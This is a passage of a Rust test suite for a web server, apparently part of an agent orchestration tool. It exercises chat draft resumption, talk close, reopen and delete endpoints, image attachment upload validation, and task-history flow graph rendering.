11363        assert!(refused.body.contains("resume"), "{}", refused.body);
11364        let saved = store.get(&id).expect("draft remains after refusal");
11365        assert!(saved.turns.is_empty());
11366        assert_eq!(saved.pending, "saved before restart");
11367
11368        let say_path = format!("/api/talks/{id}/say");
11369        let (first, second) = tokio::join!(
11370            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11371            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11372        );
11373        assert_eq!(first.status, 409, "{}", first.body);
11374        assert_eq!(second.status, 409, "{}", second.body);
11375        let saved = store
11376            .get(&id)
11377            .expect("draft remains after concurrent refusals");
11378        assert!(saved.turns.is_empty());
11379        assert_eq!(saved.pending, "saved before restart");
11380
11381        let resumed = f
11382            .post(&format!("/api/talks/{id}/pending/resume"), None)
11383            .await;
11384        assert_eq!(resumed.status, 202, "{}", resumed.body);
11385        let duplicate = f
11386            .post(&format!("/api/talks/{id}/pending/resume"), None)
11387            .await;
11388        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11389
11390        for _ in 0..SETTLE_STEPS {
11391            if store.get(&id).expect("talk").turns.len() == 2 {
11392                break;
11393            }
11394            tokio::time::sleep(Duration::from_millis(10)).await;
11395        }
11396        let finished = store.get(&id).expect("finished talk");
11397        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11398        assert_eq!(finished.turns[0].body, "saved before restart");
11399        assert!(finished.pending.is_empty());
11400    }
11401
11402    #[tokio::test]
11403    async fn an_image_only_recovered_draft_resumes_without_text() {
11404        let (_tmp, _repo, f) = talk_fixture().await;
11405        let id = f.post("/api/talks", None).await.json()["id"]
11406            .as_str()
11407            .expect("id")
11408            .to_owned();
11409        let uploaded = f
11410            .post_bytes(
11411                &format!("/api/talks/{id}/attachments"),
11412                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11413                PNG_BYTES,
11414            )
11415            .await;
11416        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11417        let attachment = f
11418            .talks()
11419            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11420            .expect("attachment metadata")
11421            .expect("stored attachment");
11422        let store = f.talks();
11423        let mut recovered = store.get(&id).expect("opened talk");
11424        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11425
11426        let resumed = f
11427            .post(&format!("/api/talks/{id}/pending/resume"), None)
11428            .await;
11429        assert_eq!(resumed.status, 202, "{}", resumed.body);
11430        for _ in 0..SETTLE_STEPS {
11431            if store.get(&id).expect("talk").turns.len() == 2 {
11432                break;
11433            }
11434            tokio::time::sleep(Duration::from_millis(10)).await;
11435        }
11436        let finished = store.get(&id).expect("finished talk");
11437        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11438        assert!(finished.turns[0].body.is_empty());
11439        assert_eq!(finished.turns[0].attachments.len(), 1);
11440        assert!(finished.pending_attachments.is_empty());
11441    }
11442
11443    #[tokio::test]
11444    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11445        let (_tmp, _repo, f) = talk_fixture().await;
11446        let id = f.post("/api/talks", None).await.json()["id"]
11447            .as_str()
11448            .expect("id")
11449            .to_owned();
11450        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11451        assert_eq!(closed.status, 200, "{}", closed.body);
11452        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11453            .expect("serialize closed talk");
11454        for (path, body) in [
11455            (format!("/api/talks/{id}/pending/resume"), None),
11456            (
11457                format!("/api/talks/{id}/pending/clear"),
11458                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11459            ),
11460            (
11461                format!("/api/talks/{id}/pending/edit"),
11462                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11463            ),
11464            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11465        ] {
11466            let response = f.post(&path, body).await;
11467            assert_eq!(response.status, 409, "{}", response.body);
11468        }
11469        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11470            .expect("serialize closed talk");
11471        assert_eq!(
11472            after_clear, before_clear,
11473            "clear must not rewrite a closed talk"
11474        );
11475    }
11476
11477    /// Keeps both claims observable long enough to exercise the distinction
11478    /// between one busy talk and a globally locked Chat surface.
11479    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11480
11481    #[tokio::test]
11482    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11483        let tmp = TempDir::new().expect("tempdir");
11484        let repo = tmp.path().join("repo");
11485        std::fs::create_dir_all(&repo).expect("repo dir");
11486        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11487        let f = Fixture::with_repo(repo).await;
11488        let id_a = f.post("/api/talks", None).await.json()["id"]
11489            .as_str()
11490            .unwrap()
11491            .to_owned();
11492        let id_b = f.post("/api/talks", None).await.json()["id"]
11493            .as_str()
11494            .unwrap()
11495            .to_owned();
11496
11497        let a = f
11498            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11499            .await;
11500        assert_eq!(a.status, 202, "{}", a.body);
11501        assert_eq!(a.json()["thinking"], true);
11502        let b = f
11503            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11504            .await;
11505        assert_eq!(b.status, 202, "{}", b.body);
11506        assert_eq!(b.json()["thinking"], true);
11507
11508        let listed = f.get("/api/talks").await.json();
11509        for id in [&id_a, &id_b] {
11510            let view = listed
11511                .as_array()
11512                .unwrap()
11513                .iter()
11514                .find(|talk| talk["id"] == *id)
11515                .unwrap();
11516            assert_eq!(view["thinking"], true, "{listed}");
11517        }
11518        let repeated = f
11519            .post(
11520                &format!("/api/talks/{id_a}/say"),
11521                Some(r#"{"text":"again"}"#),
11522            )
11523            .await;
11524        assert_eq!(repeated.status, 202, "{}", repeated.body);
11525        assert_eq!(repeated.json()["pending"], "again");
11526    }
11527
11528    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
11529    /// few more, since real uploads are never exactly eight bytes.
11530    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11531
11532    #[tokio::test]
11533    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11534        let f = Fixture::start().await;
11535        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11536
11537        let res = f
11538            .post_bytes(
11539                &format!("/api/talks/{id}/attachments"),
11540                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11541                PNG_BYTES,
11542            )
11543            .await;
11544        assert_eq!(res.status, 201, "{}", res.body);
11545        let body = res.json();
11546        assert_eq!(body["name"], "shot.png");
11547        assert_eq!(body["mime"], "image/png");
11548        assert_eq!(body["bytes"], PNG_BYTES.len());
11549        let att_id = body["id"].as_str().expect("id").to_owned();
11550        assert_eq!(
11551            att_id.len(),
11552            32,
11553            "the id must never be a client-suppliable path: {att_id}"
11554        );
11555
11556        let got = f
11557            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11558            .await;
11559        assert_eq!(got.status, 200, "{}", got.body);
11560        assert_eq!(got.header("content-type"), Some("image/png"));
11561        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11562        assert_eq!(got.bytes, PNG_BYTES);
11563    }
11564
11565    #[tokio::test]
11566    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11567        let f = Fixture::start().await;
11568        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11569
11570        // SVG can carry a `<script>`, so it is never on the whitelist even
11571        // though it is a real IANA image type.
11572        let svg = f
11573            .post_bytes(
11574                &format!("/api/talks/{id}/attachments"),
11575                &[("Content-Type", "image/svg+xml")],
11576                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11577            )
11578            .await;
11579        assert!(
11580            (400..500).contains(&svg.status),
11581            "svg must be refused: {} {}",
11582            svg.status,
11583            svg.body
11584        );
11585        assert!(svg.body.contains("SVG"), "{}", svg.body);
11586
11587        let text = f
11588            .post_bytes(
11589                &format!("/api/talks/{id}/attachments"),
11590                &[("Content-Type", "text/plain")],
11591                b"just some text",
11592            )
11593            .await;
11594        assert!(
11595            (400..500).contains(&text.status),
11596            "an unlisted type must be refused: {} {}",
11597            text.status,
11598            text.body
11599        );
11600
11601        // The declared type is a real png, but the size check runs before
11602        // the bytes are even looked at.
11603        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11604        let big = f
11605            .post_bytes(
11606                &format!("/api/talks/{id}/attachments"),
11607                &[("Content-Type", "image/png")],
11608                &oversized,
11609            )
11610            .await;
11611        assert_eq!(
11612            big.status,
11613            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11614            "{}",
11615            big.body
11616        );
11617    }
11618
11619    #[tokio::test]
11620    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11621        let f = Fixture::start().await;
11622        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11623
11624        // A whitelisted `Content-Type`, but bytes that are not actually a
11625        // png - the declared header alone is never trusted.
11626        let res = f
11627            .post_bytes(
11628                &format!("/api/talks/{id}/attachments"),
11629                &[("Content-Type", "image/png")],
11630                b"<html>not a picture</html>",
11631            )
11632            .await;
11633        assert!((400..500).contains(&res.status), "{}", res.body);
11634    }
11635
11636    #[tokio::test]
11637    async fn an_unknown_attachment_id_is_a_404() {
11638        let f = Fixture::start().await;
11639        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11640
11641        let res = f
11642            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11643            .await;
11644        assert_eq!(res.status, 404, "{}", res.body);
11645    }
11646
11647    #[tokio::test]
11648    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11649        let f = Fixture::start().await;
11650        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11651
11652        let uploaded = f
11653            .post_bytes(
11654                &format!("/api/talks/{id}/attachments"),
11655                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11656                PNG_BYTES,
11657            )
11658            .await;
11659        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11660        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11661
11662        let res = f
11663            .post(
11664                &format!("/api/talks/{id}/say"),
11665                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11666            )
11667            .await;
11668        assert_eq!(res.status, 202, "{}", res.body);
11669        let queued = res.json();
11670        let turns = queued["turns"].as_array().expect("turns array");
11671        assert_eq!(
11672            turns.len(),
11673            1,
11674            "an empty body with an attachment is still a turn: {queued}"
11675        );
11676        assert_eq!(turns[0]["who"], "operator");
11677        assert_eq!(turns[0]["body"], "");
11678        let atts = turns[0]["attachments"]
11679            .as_array()
11680            .expect("attachments array");
11681        assert_eq!(atts.len(), 1);
11682        assert_eq!(atts[0]["id"], att_id);
11683        assert_eq!(atts[0]["mime"], "image/png");
11684
11685        // Not only in the response: `record` flushes to disk before the
11686        // agent's own turn is even spawned.
11687        let on_disk = f.talks().get(&id).expect("get");
11688        assert_eq!(on_disk.turns[0].attachments.len(), 1);
11689        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11690    }
11691
11692    #[tokio::test]
11693    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11694        let f = Fixture::start().await;
11695        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11696
11697        let res = f
11698            .post(
11699                &format!("/api/talks/{id}/say"),
11700                Some(&format!(
11701                    r#"{{"text":"hi","attachments":["{}"]}}"#,
11702                    "a".repeat(32)
11703                )),
11704            )
11705            .await;
11706        assert!((400..500).contains(&res.status), "{}", res.body);
11707        assert!(res.body.contains("unknown attachment"), "{}", res.body);
11708
11709        let on_disk = f.talks().get(&id).expect("get");
11710        assert!(
11711            on_disk.turns.is_empty(),
11712            "a rejected attachment id must not partially record the turn: {:?}",
11713            on_disk.turns
11714        );
11715    }
11716
11717    #[tokio::test]
11718    async fn talk_close_makes_the_talk_refuse_further_turns() {
11719        let f = Fixture::start().await;
11720        let id = seed_talk(&f, "20260904-014455-cd34", "open");
11721
11722        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11723        assert_eq!(closed.status, 200, "{}", closed.body);
11724        assert_eq!(closed.json()["status"], "closed");
11725
11726        // Idempotent: closing an already-closed talk is not an error.
11727        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11728        assert_eq!(closed_again.status, 200);
11729        assert_eq!(closed_again.json()["status"], "closed");
11730
11731        let said = f
11732            .post(
11733                &format!("/api/talks/{id}/say"),
11734                Some(r#"{"text":"too late"}"#),
11735            )
11736            .await;
11737        assert_eq!(said.status, 409, "{}", said.body);
11738    }
11739
11740    #[tokio::test]
11741    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11742        let (_tmp, _repo, f) = talk_fixture().await;
11743        let id = f.post("/api/talks", None).await.json()["id"]
11744            .as_str()
11745            .expect("id")
11746            .to_owned();
11747        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11748        assert_eq!(closed.status, 200, "{}", closed.body);
11749
11750        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11751        assert_eq!(reopened.status, 200, "{}", reopened.body);
11752        assert_eq!(reopened.json()["status"], "open");
11753
11754        // Idempotent: reopening an already-open talk is not an error.
11755        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11756        assert_eq!(reopened_again.status, 200);
11757        assert_eq!(reopened_again.json()["status"], "open");
11758
11759        let said = f
11760            .post(
11761                &format!("/api/talks/{id}/say"),
11762                Some(r#"{"text":"still there?"}"#),
11763            )
11764            .await;
11765        assert_eq!(
11766            said.status, 202,
11767            "a reopened talk accepts turns again: {}",
11768            said.body
11769        );
11770    }
11771
11772    #[tokio::test]
11773    async fn talk_reopen_on_an_unknown_id_is_404() {
11774        let f = Fixture::start().await;
11775        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11776        assert_eq!(res.status, 404, "{}", res.body);
11777    }
11778
11779    #[tokio::test]
11780    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11781        let f = Fixture::start().await;
11782        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11783
11784        let deleted = f.delete(&format!("/api/talks/{id}")).await;
11785        assert_eq!(deleted.status, 204, "{}", deleted.body);
11786
11787        let after = f.get(&format!("/api/talks/{id}")).await;
11788        assert_eq!(after.status, 404, "{}", after.body);
11789
11790        let listed = f.get("/api/talks").await.json();
11791        assert!(
11792            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11793            "a deleted talk must not linger in the list: {listed}"
11794        );
11795    }
11796
11797    #[tokio::test]
11798    async fn talk_delete_on_an_unknown_id_is_404() {
11799        let f = Fixture::start().await;
11800        let res = f.delete("/api/talks/nonexistent-id").await;
11801        assert_eq!(res.status, 404, "{}", res.body);
11802    }
11803
11804    /// A task's page lists every run it ever had, in order, and says what kind
11805    /// of attempt each was - including a resume, which re-pushes the same run
11806    /// id, and a run whose record this build cannot read.
11807    #[tokio::test]
11808    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11809        let f = Fixture::start().await;
11810        let (a, b, gone) = (
11811            "20260902-140501-aaaa",
11812            "20260902-140502-bbbb",
11813            "20260902-140503-cccc",
11814        );
11815        write_run(&f.runs(), a, RunStatus::Stalled);
11816        let mut review = RunState::new(
11817            PathBuf::from("/repo/magi"),
11818            "main".to_owned(),
11819            "0123456789abcdef".to_owned(),
11820            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11821                .to_owned(),
11822            Config::default(),
11823        );
11824        review.id = b.to_owned();
11825        review.status = RunStatus::Merged;
11826        write_state(&f.runs(), &review);
11827
11828        let mut task = Task::new(
11829            "retry".to_owned(),
11830            "Do the thing".to_owned(),
11831            PathBuf::from("/repo/magi"),
11832            Source::Human,
11833        );
11834        task.start(a.to_owned());
11835        task.stall("quota");
11836        task.start(a.to_owned());
11837        task.start(b.to_owned());
11838        task.start(gone.to_owned());
11839        f.queue().put(&mut task).expect("file the task");
11840
11841        let res = f.get(&format!("/api/queue/{}", task.id)).await;
11842        assert_eq!(res.status, 200, "{}", res.body);
11843        let v = res.json();
11844        let h = v["history"].as_array().expect("history");
11845        assert_eq!(h.len(), 4, "{v}");
11846        assert_eq!(h[0]["kind"], "competition");
11847        assert_eq!(h[0]["status"], "stalled");
11848        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11849        assert_eq!(h[1]["kind"], "resume", "{v}");
11850        assert!(
11851            h[0]["outcome"]
11852                .as_str()
11853                .unwrap()
11854                .contains("unknown. Pass #2"),
11855            "an earlier pass of a resumed run must not claim the final outcome: {v}"
11856        );
11857        assert!(
11858            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11859            "{v}"
11860        );
11861        assert!(
11862            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11863            "an unrecorded cause must not be narrated as an operator park: {v}"
11864        );
11865        assert_eq!(h[2]["kind"], "review");
11866        assert!(
11867            h[2]["description"]
11868                .as_str()
11869                .unwrap()
11870                .contains("magi/aaaa/A")
11871        );
11872        assert_eq!(h[2]["status"], "merged");
11873        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11874        assert_eq!(v["runs_unreadable"], 1);
11875        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11876        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11877        assert_eq!(nodes[4]["note"], "unreadable");
11878        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11879        assert_eq!(v["instruction"], "Do the thing");
11880        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11881
11882        // The run's own page links back to the task.
11883        let run = f.get(&format!("/api/runs/{a}")).await.json();
11884        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11885
11886        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11887    }
11888
11889    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11890        let mut s = RunState::new(
11891            PathBuf::from("/repo/magi"),
11892            "main".to_owned(),
11893            "0123456789abcdef".to_owned(),
11894            "Do it".to_owned(),
11895            Config::default(),
11896        );
11897        s.status = status;
11898        edit(&mut s);
11899        s
11900    }
11901
11902    fn flow_task(runs: &[&str]) -> Task {
11903        let mut t = Task::new(
11904            "t".to_owned(),
11905            "Do it".to_owned(),
11906            PathBuf::from("/repo/magi"),
11907            Source::Human,
11908        );
11909        for r in runs {
11910            t.start((*r).to_owned());
11911        }
11912        t
11913    }
11914
11915    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11916        let h = task_history(task, |id| {
11917            states
11918                .iter()
11919                .find(|(i, _)| *i == id)
11920                .and_then(|(_, s)| s.clone())
11921        });
11922        task_flow(task, &h, 5, None)
11923    }
11924
11925    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11926        crate::queue::FollowUp {
11927            run: "20260901-000000-aaaa".to_owned(),
11928            origin_task: origin_task.map(str::to_owned),
11929            pr: "https://example.com/o/r/pull/1".to_owned(),
11930            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11931                .map(str::to_owned)
11932                .to_vec(),
11933            generation: 1,
11934        }
11935    }
11936
11937    fn parent_task() -> Task {
11938        let mut p = flow_task(&[]);
11939        p.title = "Parent title".to_owned();
11940        p.status = TaskStatus::Done;
11941        p
11942    }
11943
11944    #[test]
11945    fn flow_opens_with_the_parent_task_of_a_followup() {
11946        let p = parent_task();
11947        let pid = p.id.clone();
11948        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11949        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11950        let n = &f.nodes[0];
11951        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11952        assert_eq!(
11953            n.label,
11954            format!("Follow-up of {}", crate::queue::short(&pid))
11955        );
11956        assert_eq!(n.detail.as_deref(), Some("Parent title"));
11957        assert_eq!(n.status, Some("done"));
11958        assert_eq!(n.status_of, "task");
11959        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11960        assert_eq!(f.nodes[1].key, "start");
11961        assert_eq!(f.edges[0].from, "origin");
11962        assert_eq!(
11963            f.edges[0].label,
11964            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11965        );
11966    }
11967
11968    #[test]
11969    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11970        let o = followup_origin(
11971            &fu(Some("gone")),
11972            |_| None,
11973            |_| {
11974                Some(RunState::new(
11975                    std::path::PathBuf::from("."),
11976                    "main".to_owned(),
11977                    "0".to_owned(),
11978                    "t".to_owned(),
11979                    crate::config::Config::default(),
11980                ))
11981            },
11982        );
11983        assert!(o.parent.is_none());
11984        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11985        let n = &f.nodes[0];
11986        assert_eq!(n.status_of, "run");
11987        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11988        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11989    }
11990
11991    #[test]
11992    fn flow_followup_with_nothing_readable_has_no_link() {
11993        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11994        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11995        let n = &f.nodes[0];
11996        assert_eq!(n.href, None);
11997        assert_eq!(n.note, Some("unreadable"));
11998        assert!(!n.readable);
11999    }
12000
12001    #[test]
12002    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12003        let o = followup_origin(&fu(None), |_| None, |_| None);
12004        let mut t = flow_task(&[]);
12005        t.origin_chat = Some("c1".to_owned());
12006        let f = task_flow(&t, &[], 5, Some(&o));
12007        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12008        t.source = Source::Agent {
12009            run: "c1".to_owned(),
12010            node: crate::queue::CHAT_NODE.to_owned(),
12011        };
12012        let f = task_flow(&t, &[], 5, Some(&o));
12013        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12014        assert_eq!(
12015            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12016            ("chat", "origin")
12017        );
12018    }
12019
12020    #[test]
12021    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12022        let mut p = parent_task();
12023        p.id = "a b/c".to_owned();
12024        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12025        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12026    }
12027
12028    #[test]
12029    fn flow_opens_with_the_chat_that_queued_the_task() {
12030        let mut t = flow_task(&[]);
12031        t.source = Source::Agent {
12032            run: "a b/c".to_owned(),
12033            node: crate::queue::CHAT_NODE.to_owned(),
12034        };
12035        let f = flow_for(&t, &[]);
12036        assert_eq!(f.nodes[0].key, "chat");
12037        assert_eq!(f.nodes[0].kind, "chat");
12038        assert_eq!(
12039            f.nodes[0].label,
12040            format!("Chat {}", crate::queue::short("a b/c"))
12041        );
12042        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12043        assert_eq!(f.nodes[1].key, "start");
12044        assert_eq!(
12045            f.edges[0],
12046            FlowEdge {
12047                from: "chat".to_owned(),
12048                to: "start".to_owned(),
12049                label: "queued from chat".to_owned(),
12050                attempt: AttemptCost::None,
12051            }
12052        );
12053    }
12054
12055    #[test]
12056    fn flow_has_no_chat_box_for_other_sources() {
12057        for source in [
12058            Source::Human,
12059            Source::Issue {
12060                number: 3,
12061                repo: "o/r".to_owned(),
12062            },
12063            Source::Agent {
12064                run: "20260904-014455-ab12".to_owned(),
12065                node: "implement".to_owned(),
12066            },
12067        ] {
12068            let mut t = flow_task(&[]);
12069            t.source = source;
12070            let f = flow_for(&t, &[]);
12071            assert_eq!(f.nodes[0].key, "start");
12072            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12073            assert!(f.edges.iter().all(|e| e.from != "chat"));
12074        }
12075    }
12076
12077    const FA: &str = "20260902-140501-aaaa";
12078    const FB: &str = "20260902-140502-bbbb";
12079
12080    #[test]
12081    fn flow_follows_blocked_retry_merged_to_done() {
12082        let mut t = flow_task(&[FA, FB]);
12083        t.status = TaskStatus::Done;
12084        let f = flow_for(
12085            &t,
12086            &[
12087                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12088                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12089            ],
12090        );
12091        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12092        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12093        assert_eq!(f.edges.len(), 3);
12094        assert_eq!(f.edges[0].label, "claimed");
12095        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12096        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12097        assert_eq!(f.edges[2].label, "merged \u{2192} done");
12098        assert_eq!(
12099            f.nodes[2].href.as_deref(),
12100            Some("#/runs/20260902-140502-bbbb")
12101        );
12102        assert!(f.nodes[2].decided);
12103    }
12104
12105    #[test]
12106    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12107        let quota = || {
12108            flow_run(RunStatus::Stalled, |s| {
12109                s.quota.push(crate::run::QuotaLoss {
12110                    seat: "judge-1".to_owned(),
12111                    node: "judge".to_owned(),
12112                    at: Timestamp::now(),
12113                    reset: None,
12114                })
12115            })
12116        };
12117        let mut t = flow_task(&[FA, FA]);
12118        t.status = TaskStatus::Queued;
12119        let f = flow_for(&t, &[(FA, Some(quota()))]);
12120        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12121        assert_eq!(f.nodes[1].note, Some("interrupted"));
12122        assert_eq!(
12123            f.nodes[1].status, None,
12124            "no outcome copied onto an earlier pass"
12125        );
12126        assert_eq!(
12127            f.edges[1].attempt,
12128            AttemptCost::Unknown,
12129            "a resume does not prove the earlier pass was refunded"
12130        );
12131        assert!(f.edges[1].label.contains("resume the same run"));
12132        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12133        assert_eq!(
12134            f.edges[2].label,
12135            "stalled after a resume, refund unknown \u{2192} queued"
12136        );
12137        assert!(!f.nodes[2].decided, "a stall is not a decision");
12138        assert_eq!(f.nodes[2].note, Some("no verdict"));
12139    }
12140
12141    #[test]
12142    fn flow_single_pass_quota_stall_is_refunded() {
12143        let t = flow_task(&[FA]);
12144        let f = flow_for(
12145            &t,
12146            &[(
12147                FA,
12148                Some(flow_run(RunStatus::Stalled, |s| {
12149                    s.quota.push(crate::run::QuotaLoss {
12150                        seat: "judge-1".to_owned(),
12151                        node: "judge".to_owned(),
12152                        at: Timestamp::now(),
12153                        reset: None,
12154                    })
12155                })),
12156            )],
12157        );
12158        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12159    }
12160
12161    #[test]
12162    fn flow_parked_refunds_and_stall_without_quota_spends() {
12163        let mut t = flow_task(&[FA]);
12164        t.status = TaskStatus::Queued;
12165        let f = flow_for(
12166            &t,
12167            &[(
12168                FA,
12169                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12170            )],
12171        );
12172        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12173        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12174        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12175        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12176        assert!(!f.nodes[1].decided);
12177    }
12178
12179    #[test]
12180    fn flow_keeps_an_unreadable_run_as_its_own_node() {
12181        let t = flow_task(&[FA, FB]);
12182        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12183        assert_eq!(f.nodes[1].note, Some("unreadable"));
12184        assert!(!f.nodes[1].readable);
12185        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12186        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12187    }
12188
12189    #[test]
12190    fn flow_names_the_branch_of_a_review_only_run() {
12191        let t = flow_task(&[FA]);
12192        let f = flow_for(
12193            &t,
12194            &[(
12195                FA,
12196                Some(flow_run(RunStatus::Merged, |s| {
12197                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12198                })),
12199            )],
12200        );
12201        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12202        assert_eq!(
12203            f.nodes[1].detail.as_deref(),
12204            Some("review-only run of branch magi/x/A")
12205        );
12206    }
12207
12208    #[test]
12209    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12210        let mut t = flow_task(&[FA]);
12211        t.status = TaskStatus::Held;
12212        let pr = crate::run::PrRecord {
12213            url: "https://example.test/pr/1".to_owned(),
12214            number: 1,
12215            state: "open".to_owned(),
12216            checks: "green".to_owned(),
12217            round: 0,
12218            rounds: 3,
12219            red_at_merge: Vec::new(),
12220        };
12221        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12222        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12223        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12224        t.status = TaskStatus::Done;
12225        let f = flow_for(&t, &[(FA, Some(blocked))]);
12226        assert_eq!(f.edges[1].label, "closed by hand: task is done");
12227    }
12228
12229    #[test]
12230    fn flow_with_no_runs_goes_from_queued_to_queued() {
12231        let t = flow_task(&[]);
12232        let f = flow_for(&t, &[]);
12233        assert_eq!(f.nodes.len(), 2);
